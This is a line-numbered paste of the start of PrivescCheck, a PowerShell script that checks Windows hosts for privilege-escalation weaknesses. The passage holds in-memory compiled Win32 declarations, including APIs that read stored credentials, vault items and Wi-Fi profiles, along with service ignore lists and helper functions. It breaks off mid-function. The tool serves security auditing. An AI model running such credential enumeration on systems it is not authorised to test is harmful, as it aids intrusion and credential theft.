· 5 years ago · Mar 20, 2020, 07:40 AM
1frf<#
2 This scripts is an extended and updated version of PowerUp. I tried to filter out as many false
3 positives as I could and I also added some extra checks based on well known privilege escalation
4 cheat sheets (see links below).
5
6 Author: @itm4n
7 Credit: @harmj0y @mattifestation
8 License: BSD 3-Clause
9 Required Dependencies: None
10 Optional Dependencies: None
11
12 Links:
13 https://github.com/itm4n
14 https://github.com/HarmJ0y/PowerUp
15 https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
16 https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
17#>
18
19#Requires -Version 2
20
21# ----------------------------------------------------------------
22# Win32 stuff
23# ----------------------------------------------------------------
24#region Win32
25<#
26https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
27https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
28#>
29$CSharpSource = @'
30private const Int32 ANYSIZE_ARRAY = 1;
31
32[System.FlagsAttribute]
33public enum ServiceAccessFlags : uint
34{
35 QueryConfig = 1,
36 ChangeConfig = 2,
37 QueryStatus = 4,
38 EnumerateDependents = 8,
39 Start = 16,
40 Stop = 32,
41 PauseContinue = 64,
42 Interrogate = 128,
43 UserDefinedControl = 256,
44 Delete = 65536,
45 ReadControl = 131072,
46 WriteDac = 262144,
47 WriteOwner = 524288,
48 Synchronize = 1048576,
49 AccessSystemSecurity = 16777216,
50 GenericAll = 268435456,
51 GenericExecute = 536870912,
52 GenericWrite = 1073741824,
53 GenericRead = 2147483648
54}
55
56[StructLayout(LayoutKind.Sequential)]
57public struct LUID {
58 public UInt32 LowPart;
59 public Int32 HighPart;
60}
61
62[StructLayout(LayoutKind.Sequential)]
63public struct SID_AND_ATTRIBUTES {
64 public IntPtr Sid;
65 public int Attributes;
66}
67
68[StructLayout(LayoutKind.Sequential, Pack = 4)]
69public struct LUID_AND_ATTRIBUTES {
70 public LUID Luid;
71 public UInt32 Attributes;
72}
73
74public struct TOKEN_USER {
75 public SID_AND_ATTRIBUTES User;
76}
77
78public struct TOKEN_PRIVILEGES {
79 public int PrivilegeCount;
80 [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
81 public LUID_AND_ATTRIBUTES [] Privileges;
82}
83
84[StructLayout(LayoutKind.Sequential)]
85public struct MIB_TCPROW_OWNER_PID
86{
87 public uint state;
88 public uint localAddr;
89 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
90 public byte[] localPort;
91 public uint remoteAddr;
92 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
93 public byte[] remotePort;
94 public uint owningPid;
95}
96
97[StructLayout(LayoutKind.Sequential)]
98public struct MIB_UDPROW_OWNER_PID
99{
100 public uint localAddr;
101 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
102 public byte[] localPort;
103 public uint owningPid;
104}
105
106[StructLayout(LayoutKind.Sequential)]
107public struct MIB_TCP6ROW_OWNER_PID
108{
109 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
110 public byte[] localAddr;
111 public uint localScopeId;
112 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
113 public byte[] localPort;
114 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
115 public byte[] remoteAddr;
116 public uint remoteScopeId;
117 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
118 public byte[] remotePort;
119 public uint state;
120 public uint owningPid;
121}
122
123[StructLayout(LayoutKind.Sequential)]
124public struct MIB_UDP6ROW_OWNER_PID
125{
126 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
127 public byte[] localAddr;
128 public uint localScopeId;
129 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
130 public byte[] localPort;
131 public uint owningPid;
132}
133
134[StructLayout(LayoutKind.Sequential)]
135public struct MIB_TCPTABLE_OWNER_PID
136{
137 public uint dwNumEntries;
138 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
139 public MIB_TCPROW_OWNER_PID[] table;
140}
141
142[StructLayout(LayoutKind.Sequential)]
143public struct MIB_UDPTABLE_OWNER_PID
144{
145 public uint dwNumEntries;
146 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
147 public MIB_UDPROW_OWNER_PID[] table;
148}
149
150[StructLayout(LayoutKind.Sequential)]
151public struct MIB_TCP6TABLE_OWNER_PID
152{
153 public uint dwNumEntries;
154 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
155 public MIB_TCP6ROW_OWNER_PID[] table;
156}
157
158[StructLayout(LayoutKind.Sequential)]
159public struct MIB_UDP6TABLE_OWNER_PID
160{
161 public uint dwNumEntries;
162 [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
163 public MIB_UDP6ROW_OWNER_PID[] table;
164
165}
166
167[StructLayout(LayoutKind.Sequential)]
168public struct FILETIME
169{
170 public uint dwLowDateTime;
171 public uint dwHighDateTime;
172}
173
174[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
175public struct CREDENTIAL
176{
177 public uint Flags;
178 public uint Type;
179 public string TargetName;
180 public string Comment;
181 public FILETIME LastWritten;
182 public uint CredentialBlobSize;
183 public IntPtr CredentialBlob;
184 public uint Persist;
185 public uint AttributeCount;
186 public IntPtr Attributes;
187 public string TargetAlias;
188 public string UserName;
189}
190
191[StructLayout(LayoutKind.Sequential)]
192public struct UNICODE_STRING
193{
194 public ushort Length;
195 public ushort MaximumLength;
196 public IntPtr Buffer;
197}
198
199[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
200public struct VAULT_ITEM_7
201{
202 public Guid SchemaId;
203 public string FriendlyName;
204 public IntPtr Resource;
205 public IntPtr Identity;
206 public IntPtr Authenticator;
207 public UInt64 LastWritten;
208 public UInt32 Flags;
209 public UInt32 PropertiesCount;
210 public IntPtr Properties;
211}
212
213[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
214public struct VAULT_ITEM_8
215{
216 public Guid SchemaId;
217 public string FriendlyName;
218 public IntPtr Resource;
219 public IntPtr Identity;
220 public IntPtr Authenticator;
221 public IntPtr PackageSid;
222 public UInt64 LastWritten;
223 public UInt32 Flags;
224 public UInt32 PropertiesCount;
225 public IntPtr Properties;
226}
227
228[StructLayout(LayoutKind.Sequential)]
229public struct VAULT_ITEM_DATA_HEADER
230{
231 public UInt32 SchemaElementId;
232 public UInt32 Unknown1;
233 public UInt32 Type;
234 public UInt32 Unknown2;
235}
236
237[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
238public struct WLAN_INTERFACE_INFO
239{
240 public Guid InterfaceGuid;
241 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
242 public string strInterfaceDescription;
243 public uint isState; // WLAN_INTERFACE_STATE
244}
245
246[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
247public struct WLAN_PROFILE_INFO
248{
249 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
250 public string strProfileName;
251 public uint dwFlags;
252}
253
254[DllImport("advapi32.dll", SetLastError=true)]
255[return: MarshalAs(UnmanagedType.Bool)]
256public static extern bool QueryServiceObjectSecurity(IntPtr serviceHandle, System.Security.AccessControl.SecurityInfos secInfo, byte[] lpSecDesrBuf, uint bufSize, out uint bufSizeNeeded);
257
258[DllImport("advapi32.dll", SetLastError=true)]
259[return: MarshalAs(UnmanagedType.Bool)]
260public static extern bool CloseServiceHandle(IntPtr hSCObject);
261
262[DllImport("advapi32.dll", SetLastError=true)]
263[return: MarshalAs(UnmanagedType.Bool)]
264public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
265
266[DllImport("advapi32.dll", SetLastError=true)]
267[return: MarshalAs(UnmanagedType.Bool)]
268public static extern bool GetTokenInformation(IntPtr TokenHandle, UInt32 TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
269
270[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
271[return: MarshalAs(UnmanagedType.Bool)]
272public static extern bool LookupAccountSid(string lpSystemName, IntPtr Sid, System.Text.StringBuilder lpName, ref uint cchName, System.Text.StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out int peUse);
273
274[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
275[return: MarshalAs(UnmanagedType.Bool)]
276public static extern bool LookupPrivilegeName(string lpSystemName, IntPtr lpLuid, System.Text.StringBuilder lpName, ref int cchName );
277
278[DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
279[return: MarshalAs(UnmanagedType.Bool)]
280public static extern bool CredEnumerate(IntPtr Filter, UInt32 Flags, out UInt32 Count, out IntPtr Credentials);
281
282[DllImport("advapi32.dll")]
283public static extern void CredFree(IntPtr Buffer);
284
285[DllImport("advapi32.dll", SetLastError=false)]
286[return: MarshalAs(UnmanagedType.Bool)]
287public static extern bool IsTextUnicode(IntPtr buf, UInt32 len, ref UInt32 opt);
288
289[DllImport("kernel32.dll", SetLastError=true)]
290public static extern IntPtr GetCurrentProcess();
291
292[DllImport("kernel32.dll", SetLastError=true)]
293public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
294
295[DllImport("kernel32.dll", SetLastError=true)]
296[return: MarshalAs(UnmanagedType.Bool)]
297public static extern bool CloseHandle(IntPtr hObject);
298
299[DllImport("kernel32.dll")]
300public static extern UInt64 GetTickCount64();
301
302[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
303public static extern uint GetFirmwareEnvironmentVariable(string lpName, string lpGuid, IntPtr pBuffer, uint nSize);
304
305[DllImport("kernel32.dll", SetLastError=true)]
306public static extern bool GetFirmwareType(ref uint FirmwareType);
307
308[DllImport("iphlpapi.dll", SetLastError=true)]
309public static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int pdwSize, bool bOrder, int ulAf, uint TableClass, uint Reserved);
310
311[DllImport("iphlpapi.dll", SetLastError=true)]
312public static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int pdwSize, bool bOrder, int ulAf, uint TableClass, uint Reserved);
313
314[DllImport("vaultcli.dll", SetLastError=false)]
315public static extern uint VaultEnumerateVaults(uint dwFlags, out int VaultsCount, out IntPtr ppVaultGuids);
316
317[DllImport("vaultcli.dll", SetLastError=false)]
318public static extern uint VaultOpenVault(IntPtr pVaultId, uint dwFlags, out IntPtr pVaultHandle);
319
320[DllImport("vaultcli.dll", SetLastError=false)]
321public static extern uint VaultEnumerateItems(IntPtr pVaultHandle, uint dwFlags, out int ItemsCount, out IntPtr ppItems);
322
323[DllImport("vaultcli.dll", SetLastError=false, EntryPoint="VaultGetItem")]
324public static extern uint VaultGetItem7(IntPtr pVaultHandle, ref Guid guidSchemaId, IntPtr pResource, IntPtr pIdentity, IntPtr pUnknown, uint iUnknown, out IntPtr pItem);
325
326[DllImport("vaultcli.dll", SetLastError=false, EntryPoint="VaultGetItem")]
327public static extern uint VaultGetItem8(IntPtr pVaultHandle, ref Guid guidSchemaId, IntPtr pResource, IntPtr pIdentity, IntPtr pPackageSid, IntPtr pUnknown, uint iUnknown, out IntPtr pItem);
328
329[DllImport("vaultcli.dll", SetLastError=false)]
330public static extern uint VaultFree(IntPtr pVaultItem);
331
332[DllImport("vaultcli.dll", SetLastError=false)]
333public static extern uint VaultCloseVault(ref IntPtr pVaultHandle);
334
335[DllImport("Wlanapi.dll")]
336public static extern uint WlanOpenHandle(uint dwClientVersion, IntPtr pReserved, out uint pdwNegotiatedVersion, out IntPtr hClientHandle);
337
338[DllImport("Wlanapi.dll")]
339public static extern uint WlanCloseHandle(IntPtr hClientHandle, IntPtr pReserved);
340
341[DllImport("Wlanapi.dll")]
342public static extern uint WlanEnumInterfaces(IntPtr hClientHandle, IntPtr pReserved, ref IntPtr ppInterfaceList);
343
344[DllImport("Wlanapi.dll")]
345public static extern void WlanFreeMemory(IntPtr pMemory);
346
347[DllImport("Wlanapi.dll")]
348public static extern uint WlanGetProfileList(IntPtr hClientHandle, [MarshalAs(UnmanagedType.LPStruct)]Guid interfaceGuid, IntPtr pReserved, out IntPtr ppProfileList);
349
350[DllImport("Wlanapi.dll")]
351public static extern uint WlanGetProfile(IntPtr clientHandle, [MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [MarshalAs(UnmanagedType.LPWStr)] string profileName, IntPtr pReserved, [MarshalAs(UnmanagedType.LPWStr)] out string profileXml, ref uint flags, out uint pdwGrantedAccess);
352'@
353
354try {
355 # Is the Type already defined?
356 [PrivescCheck.Win32] | Out-Null
357} catch {
358 # If not, create it by compiling the C# code in memory
359 $CompilerParameters = New-Object -TypeName System.CodeDom.Compiler.CompilerParameters
360 $CompilerParameters.GenerateInMemory = $True
361 $CompilerParameters.GenerateExecutable = $False
362 #$Compiler = New-Object -TypeName Microsoft.CSharp.CSharpCodeProvider
363 #$Compiler.CompileAssemblyFromSource($CompilerParameters, $CSharpSource)
364 Add-Type -MemberDefinition $CSharpSource -Name 'Win32' -Namespace 'PrivescCheck' -Language CSharp -CompilerParameters $CompilerParameters
365}
366#endregion Win32
367
368
369# ----------------------------------------------------------------
370# Helpers
371# ----------------------------------------------------------------
372#region Helpers
373$global:IgnoredPrograms = @("Common Files", "Internet Explorer", "ModifiableWindowsApps", "PackageManagement", "Windows Defender", "Windows Defender Advanced Threat Protection", "Windows Mail", "Windows Media Player", "Windows Multimedia Platform", "Windows NT", "Windows Photo Viewer", "Windows Portable Devices", "Windows Security", "WindowsPowerShell", "Microsoft.NET", "Windows Portable Devices", "dotnet", "MSBuild", "Intel", "Reference Assemblies")
374
375$global:IgnoredServices = @("1394ohci", "3ware", "AarSvc", "ACPI", "AcpiDev", "acpiex", "acpipagr", "AcpiPmi", "acpitime", "Acx01000", "ADOVMPPackage", "ADP80XX", "adsi", "ADWS", "AeLookupSvc", "AFD", "afunix", "ahcache", "AJRouter", "ALG", "amdgpio2", "amdi2c", "AmdK8", "AmdPPM", "amdsata", "amdsbs", "amdxata", "AppID", "AppIDSvc", "Appinfo", "applockerfltr", "AppMgmt", "AppReadiness", "AppHostSvc", "AppVClient", "AppvStrm", "AppvVemgr", "AppvVfs", "AppXSvc", "arcsas", "aspnet_state", "AssignedAccessManagerSvc", "AsyncMac", "atapi", "AudioEndpointBuilder", "Audiosrv", "autotimesvc", "AxInstSV", "b06bdrv", "bam", "BasicDisplay", "BasicRender", "BattC", "BcastDVRUserService", "bcmfn2", "BDESVC", "Beep", "BFE", "bindflt", "BITS", "BluetoothUserService", "bowser", "BrokerInfrastructure", "Browser", "BTAGService", "BthA2dp", "BthAvctpSvc", "BthEnum", "BthHFEnum", "BthLEEnum", "BthMini", "BTHMODEM", "BthPan", "BTHPORT", "bthserv", "BTHUSB", "bttflt", "buttonconverter", "CAD", "camsvc", "CaptureService", "cbdhsvc", "cdfs", "CDPSvc", "CDPUserSvc", "cdrom", "CertPropSvc", "cht4iscsi", "cht4vbd", "CimFS", "circlass", "CldFlt", "CLFS", "ClipSVC", "CmBatt", "CNG", "cnghwassist", "CompositeBus", "COMSysApp", "condrv", "ConsentUxUserSvc", "CoreMessagingRegistrar", "CoreUI", "CredentialEnrollmentManagerUserSvc", "crypt32", "CryptSvc", "CSC", "CscService", "dam", "DCLocator", "DcomLaunch", "defragsvc", "DeviceAssociationBrokerSvc", "DeviceAssociationService", "DeviceInstall", "DevicePickerUserSvc", "DevicesFlowUserSvc", "DevQueryBroker", "Dfs", "Dfsc", "DFSR", "Dhcp", "diagnosticshub.standardcollector.service", "diagsvc", "DiagTrack", "disk", "DispBrokerDesktopSvc", "DisplayEnhancementService", "DmEnrollmentSvc", "dmvsc", "dmwappushservice", "DNS", "Dnscache", "DoSvc", "dot3svc", "DPS", "drmkaud", "DsmSvc", "DsRoleSvc", "DsSvc", "DusmSvc", "DXGKrnl", "e1i65x64", "Eaphost", "ebdrv", "EFS", "ehRecvr", "ehSched", "EhStorClass", "EhStorTcgDrv", "embeddedmode", "EntAppSvc", "ErrDev", "ESENT", "EventLog", "EventSystem", "exfat", "fastfat", "Fax", "fdc", "fdPHost", "FDResPub", "fhsvc", "FileCrypt", "FileInfo", "Filetrace", "flpydisk", "FltMgr", "FontCache", "FrameServer", "FsDepends", "Fs_Rec", "fvevol", "gencounter", "genericusbfn", "GPIOClx0101", "gpsvc", "GpuEnergyDrv", "GraphicsPerfSvc", "HdAudAddService", "HDAudBus", "HidBatt", "HidBth", "hidi2c", "hidinterrupt", "HidIr", "hidserv", "hidspi", "HidUsb", "hkmsvc", "HomeGroupListener", "HomeGroupProvider", "HpSAMD", "HTTP", "hvcrash", "HvHost", "hvservice", "HwNClx0101", "hwpolicy", "hyperkbd", "HyperVideo", "i8042prt", "iagpio", "iai2c", "iaStorAV", "iaStorAVC", "iaStorV", "ibbus", "icssvc", "idsvc", "IEEtwCollectorService", "IKEEXT", "IndirectKmd", "inetaccs", "InstallService", "intelide", "intelpep", "intelpmax", "intelppm", "iorate", "IPBusEnum", "IpFilterDriver", "iphlpsvc", "IPMIDRV", "IPNAT", "IPT", "IpxlatCfgSvc", "isapnp", "iScsiPrt", "IsmServ", "ItSas35i", "kbdclass", "kbdhid", "Kdc", "KdsSvc", "kdnic", "KeyIso", "KPSSVC", "KSecDD", "KSecPkg", "ksthunk", "KtmRm", "LanmanServer", "LanmanWorkstation", "ldap", "lfsvc", "LicenseManager", "lltdio", "lltdsvc", "lmhosts", "Lsa", "LSI_SAS", "LSI_SAS2i", "LSI_SAS3i", "LSI_SSS", "LSM", "luafv", "LxpSvc", "MapsBroker", "mausbhost", "mausbip", "MbbCx", "Mcx2Svc", "megasas", "megasas2i", "megasas35i", "megasr", "MessagingService", "Microsoft_Bluetooth_AvrcpTransport", "MixedRealityOpenXRSvc", "mlx4_bus", "MMCSS", "Modem", "monitor", "mouclass", "mouhid", "mountmgr", "mpsdrv", "mpssvc", "MRxDAV", "mrxsmb", "mrxsmb20", "MsBridge", "Msfs", "msgpiowin32", "mshidkmdf", "mshidumdf", "msisadrv", "MSiSCSI", "msiserver", "MSKSSRV", "MsLldp", "MSPCLOCK", "MSPQM", "MsQuic", "MsRPC", "MSSCNTRS", "MsSecFlt", "mssmbios", "MSTEE", "MTConfig", "Mup", "mvumis", "napagent", "NativeWifiP", "NaturalAuthentication", "NcaSvc", "NcbService", "NcdAutoSetup", "ndfltr", "NDIS", "NdisCap", "NdisImPlatform", "NdisTapi", "Ndisuio", "NdisVirtualBus", "NdisWan", "ndiswanlegacy", "NDKPing", "ndproxy", "Ndu", "NetAdapterCx", "NetBIOS", "NetbiosSmb", "NetBT", "NetMsmqActivator", "NetPipeActivator", "NetTcpActivator", "Netlogon", "Netman", "netprofm", "NetSetupSvc", "NetTcpPortSharing", "netvsc", "NgcCtnrSvc", "NgcSvc", "NlaSvc", "Npfs", "npsvctrig", "nsi", "nsiproxy", "NTDS", "Ntfs", "NtFrs", "Null", "nvdimm", "nvraid", "nvstor", "OneSyncSvc", "p2pimsvc", "p2psvc", "Parport", "partmgr", "PcaSvc", "pci", "pciide", "pcmcia", "pcw", "pdc", "PEAUTH", "PeerDistSvc", "perceptionsimulation", "percsas2i", "percsas3i", "PerfDisk", "PerfHost", "PerfNet", "PerfOS", "PerfProc", "PhoneSvc", "PimIndexMaintenanceSvc", "PktMon", "pla", "PlugPlay", "pmem", "PNPMEM", "PNRPAutoReg", "PNRPsvc", "PolicyAgent", "portcfg", "PortProxy", "Power", "PptpMiniport", "PrintNotify", "PrintWorkflowUserSvc", "Processor", "ProfSvc", "ProtectedStorage", "Psched", "PushToInstall", "pvscsi", "QWAVE", "QWAVEdrv", "Ramdisk", "RasAcd", "RasAgileVpn", "RasAuto", "Rasl2tp", "RasMan", "RasPppoe", "RasSstp", "rdbss", "RDMANDK", "rdpbus", "RDPDR", "RDPNP", "RDPUDD", "RdpVideoMiniport", "rdyboost", "ReFS", "ReFSv1", "RemoteAccess", "RemoteRegistry", "RetailDemo", "RFCOMM", "rhproxy", "RmSvc", "RpcEptMapper", "RpcLocator", "RpcSs", "RSoPProv", "rspndr", "s3cap", "sacsvr", "SamSs", "sbp2port", "SCardSvr", "ScDeviceEnum", "scfilter", "Schedule", "scmbus", "SCPolicySvc", "sdbus", "SDFRd", "SDRSVC", "sdstor", "seclogon", "SecurityHealthService", "SEMgrSvc", "SENS", "Sense", "SensorDataService", "SensorService", "SensrSvc", "SerCx", "SerCx2", "Serenum", "Serial", "sermouse", "SessionEnv", "sfloppy", "SgrmAgent", "SgrmBroker", "SharedAccess", "SharedRealitySvc", "ShellHWDetection", "shpamsvc", "SiSRaid2", "SiSRaid4", "SmartSAMD", "smbdirect", "smphost", "SmsRouter", "SMSvcHost 4.0.0.0", "SNMPTRAP", "spaceparser", "spaceport", "SpatialGraphFilter", "SpbCx", "spectrum", "Spooler", "sppsvc", "sppuinotify", "srv2", "srvnet", "SSDPSRV", "ssh-agent", "SstpSvc", "StateRepository", "stexstor", "stisvc", "storahci", "storflt", "stornvme", "storqosflt", "StorSvc", "storufs", "storvsc", "svsvc", "swenum", "swprv", "Synth3dVsc", "SysMain", "SystemEventsBroker", "TabletInputService", "TapiSrv", "Tcpip", "Tcpip6", "TCPIP6TUNNEL", "tcpipreg", "TCPIPTUNNEL", "tdx", "Telemetry", "terminpt", "TermService", "Themes", "TieringEngineService", "TimeBroker", "TimeBrokerSvc", "THREADORDER", "TokenBroker", "TPM", "TrkWks", "TroubleshootingSvc", "TrustedInstaller", "TSDDD", "TsUsbFlt", "TsUsbGD", "tsusbhub", "tunnel", "tzautoupdate", "UALSVC", "UASPStor", "UcmCx0101", "UcmTcpciCx0101", "UcmUcsiAcpiClient", "UcmUcsiCx0101", "Ucx01000", "UdeCx", "udfs", "UdkUserSvc", "UEFI", "UevAgentDriver", "UevAgentService", "Ufx01000", "UfxChipidea", "ufxsynopsys", "UGatherer", "UGTHRSVC", "UI0Detect", "umbus", "UmPass", "UmRdpService", "UnistoreSvc", "upnphost", "UrsChipidea", "UrsCx01000", "UrsSynopsys", "usbaudio", "usbaudio2", "usbccgp", "usbcir", "usbehci", "usbhub", "USBHUB3", "usbohci", "usbprint", "usbser", "USBSTOR", "usbuhci", "USBXHCI", "UserDataSvc", "UserManager", "UsoSvc", "UxSms", "VacSvc", "VaultSvc", "vdrvroot", "vds", "VerifierExt", "VGAuthService", "vhdmp", "vhf", "Vid", "VirtualRender", "vm3dmp", "vm3dmp-debug", "vm3dmp-stats", "vm3dmp_loader", "vmbus", "VMBusHID", "vmci", "vmgid", "vmhgfs", "vmicguestinterface", "vmicheartbeat", "vmickvpexchange", "vmicrdv", "vmicshutdown", "vmictimesync", "vmicvmsession", "vmicvss", "VMMemCtl", "vmmouse", "vmrawdsk", "vmusbmouse", "vmvss", "vmwefifw", "vmxnet3ndis6", "volmgr", "volmgrx", "volsnap", "volume", "vpci", "vsmraid", "vsock", "VSS", "VSTXRAID", "vwifibus", "vwififlt", "W32Time", "w3logsvc", "W3SVC", "WaaSMedicSvc", "WAS", "WacomPen", "WalletService", "wanarp", "wanarpv6", "WarpJITSvc", "WatAdminSvc", "wbengine", "WbioSrvc", "wcifs", "Wcmsvc", "wcncsvc", "wcnfs", "WcsPlugInService", "WdBoot", "Wdf01000", "WdFilter", "WdiServiceHost", "WdiSystemHost", "wdiwifi", "WdmCompanionFilter", "WdNisDrv", "WdNisSvc", "WebClient", "Wecsvc", "WEPHOSTSVC", "wercplsupport", "WerSvc", "WFDSConMgrSvc", "WFPLWFS", "WiaRpc", "WIMMount", "WinDefend", "Windows Workflow Foundation 4.0.0.0", "WindowsTrustedRT", "WindowsTrustedRTProxy", "WinHttpAutoProxySvc", "WinMad", "Winmgmt", "WinNat", "WinRM", "Winsock", "WinSock2", "WINUSB", "WinVerbs", "wisvc", "WlanSvc", "wlidsvc", "WLMS", "wlpasvc", "WManSvc", "WmiAcpi", "WmiApRpl", "wmiApSrv", "WMPNetworkSvc", "Wof", "workerdd", "workfolderssvc", "WpcMonSvc", "WPCSvc", "WPDBusEnum", "WpdUpFltr", "WpnService", "WpnUserService", "ws2ifsl", "wscsvc", "WSearch", "WSearchIdxPi", "WSService", "wuauserv", "WudfPf", "WUDFRd", "wudfsvc", "WwanSvc", "XblAuthManager", "XblGameSave", "xboxgip", "XboxGipSvc", "XboxNetApiSvc", "xinputhid", "xmlprov")
376
377function Convert-DateToString {
378 <#
379 .SYNOPSIS
380
381 Helper - Converts a DateTime object to a string representation
382
383 Author: @itm4n
384 License: BSD 3-Clause
385
386 .DESCRIPTION
387
388 The output string is a simplified version of the ISO format: YYYY-MM-DD hh:mm:ss.
389
390 .PARAMETER Date
391
392 A System.DateTime object
393
394 .EXAMPLE
395
396 PS C:\> $Date = Get-Date; Convert-DateToString -Date $Date
397
398 2020-01-16 - 10:26:11
399
400 #>
401
402 [CmdletBinding()] param(
403 [System.DateTime]
404 $Date
405 )
406
407 $OutString = ""
408 $OutString += $Date.ToString('yyyy-MM-dd - HH:mm:ss')
409 #$OutString += " ($($Date.ToString('o')))" # ISO format
410 $OutString
411}
412
413function Convert-ServiceTypeToString {
414 <#
415 .SYNOPSIS
416
417 Helper - Converts a service type (integer) to its actual name
418
419 Author: @itm4n
420 License: BSD 3-Clause
421
422 .DESCRIPTION
423
424 Services have a type which is saved as an integer in the registry. This function will retrieve
425 the "name" of the type based on this integer value.
426
427 .PARAMETER ServiceType
428
429 A service type as an integer
430
431 .EXAMPLE
432
433 PS C:\> Convert-ServiceTypeToString -ServiceType 16
434
435 Win32OwnProcess
436
437 #>
438
439 [CmdletBinding()] param(
440 [int]
441 $ServiceType
442 )
443
444 $ServiceTypeEnum = @{
445 "KernelDriver" = "1";
446 "FileSystemDriver" = "2";
447 "Adapter" = "4";
448 "RecognizerDriver" = "8";
449 "Win32OwnProcess" = "16";
450 "Win32ShareProcess" = "32";
451 "InteractiveProcess" = "256";
452 }
453
454 $ServiceTypeEnum.GetEnumerator() | ForEach-Object {
455 if ( $_.value -band $ServiceType )
456 {
457 $_.name
458 }
459 }
460}
461
462function Convert-ServiceStartModeToString {
463 <#
464 .SYNOPSIS
465
466 Helper - Convert a Start mode (integer) to its actual name
467
468 Author: @itm4n
469 License: BSD 3-Clause
470
471 .DESCRIPTION
472
473 Services have a Start mode (e.g.: Automatic), which is saved as an integer in the registry.
474 This function will retrieve the "name" of the Start mode based on this integer value.
475
476 .PARAMETER StartMode
477
478 A Start mode as an integer
479
480 .EXAMPLE
481
482 PS C:\> Convert-ServiceStartModeToString -StartMode 2
483
484 Automatic
485
486 #>
487
488 [CmdletBinding()] param(
489 [int]
490 $StartMode
491 )
492
493 $StartModeEnum = @{
494 "Boot" = "0";
495 "System" = "1";
496 "Automatic" = "2";
497 "Manual" = "3";
498 "Disabled" = "4";
499 }
500
501 $StartModeEnum.GetEnumerator() | ForEach-Object {
502 if ( $_.Value -eq $StartMode )
503 {
504 $_.Name
505 }
506 }
507}
508
509function Test-IsKnownService {
510 <#
511 .SYNOPSIS
512
513 Helper - Compares a service name against a list of known service name patterns
514
515 Author: @itm4n
516 License: BSD 3-Clause
517
518 .DESCRIPTION
519
520 In Windows 10, a lot of services were added. Although they are the same, their name will vary
521 from an installation to another. The pattern of their name is "service_XXXXXXXX" where
522 "XXXXXXXX" is random hexadecimal string which is "unique" to an installation of Windows. The
523 aim of this function is to determine whether a given service name matches this pattern.
524
525 .PARAMETER ServiceName
526
527 The name of a service as a String
528
529 .EXAMPLE
530
531 PS C:\> Test-IsKnownService -ServiceName 'CaptureService_1fe3b73d'
532
533 True
534
535 #>
536
537 [CmdletBinding()] param(
538 [string]
539 $ServiceName
540 )
541
542 $KnownServices = @("AarSvc_*", "BcastDVRUserService_*", "BluetoothUserService_*", "CaptureService_*", "cbdhsvc_*", "CDPUserSvc_*", "clr_optimization_*", "ConsentUxUserSvc_*", "CredentialEnrollmentManagerUserSvc_*", "DeviceAssociationBrokerSvc_*", "DevicePickerUserSvc_*", "DevicesFlowUserSvc_*", "FontCache*", "iaLPSS*", "IpOverUsbSvc", "LxssManager*", "MessagingService_*", "MSDTC*", ".NET*", "OneSyncSvc_*", "PimIndexMaintenanceSvc_*", "PrintWorkflowUserSvc_*", "UdkUserSvc_*", "UnistoreSvc_*", "UserDataSvc_*", "WpnUserService_*")
543
544 if ($global:IgnoredServices -contains $ServiceName) {
545 return $True
546 } else {
547 ForEach ($KnownService in $KnownServices) {
548 if ($ServiceName -like $KnownService) {
549 return $True
550 }
551 }
552 }
553 return $False
554}
555
556function Get-UserPrivileges {
557 <#
558 .SYNOPSIS
559
560 Helper - Enumerates the privileges of the current user
561
562 Author: @itm4n
563 License: BSD 3-Clause
564
565 .DESCRIPTION
566
567 Enumerates the privileges of the current user using the Windows API. First, it gets a handle
568 to the current access token using OpenProcessToken. Then it calls GetTokenInformation to list
569 all the privileges that it contains along with their state (enabled/disabled). For each result
570 a custom object is returned, indicating the name of the privilege and its state.
571
572 .EXAMPLE
573
574 PS C:\> Get-UserPrivileges
575
576 Name State Description
577 ---- ------ -----------
578 SeShutdownPrivilege Disabled Shut down the system
579 SeChangeNotifyPrivilege Enabled Bypass traverse checking
580 SeUndockPrivilege Disabled Remove computer from docking station
581 SeIncreaseWorkingSetPrivilege Disabled Increase a process working set
582 SeTimeZonePrivilege Disabled Change the time zone
583
584 .LINK
585
586 https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
587 #>
588
589 [CmdletBinding()] param()
590
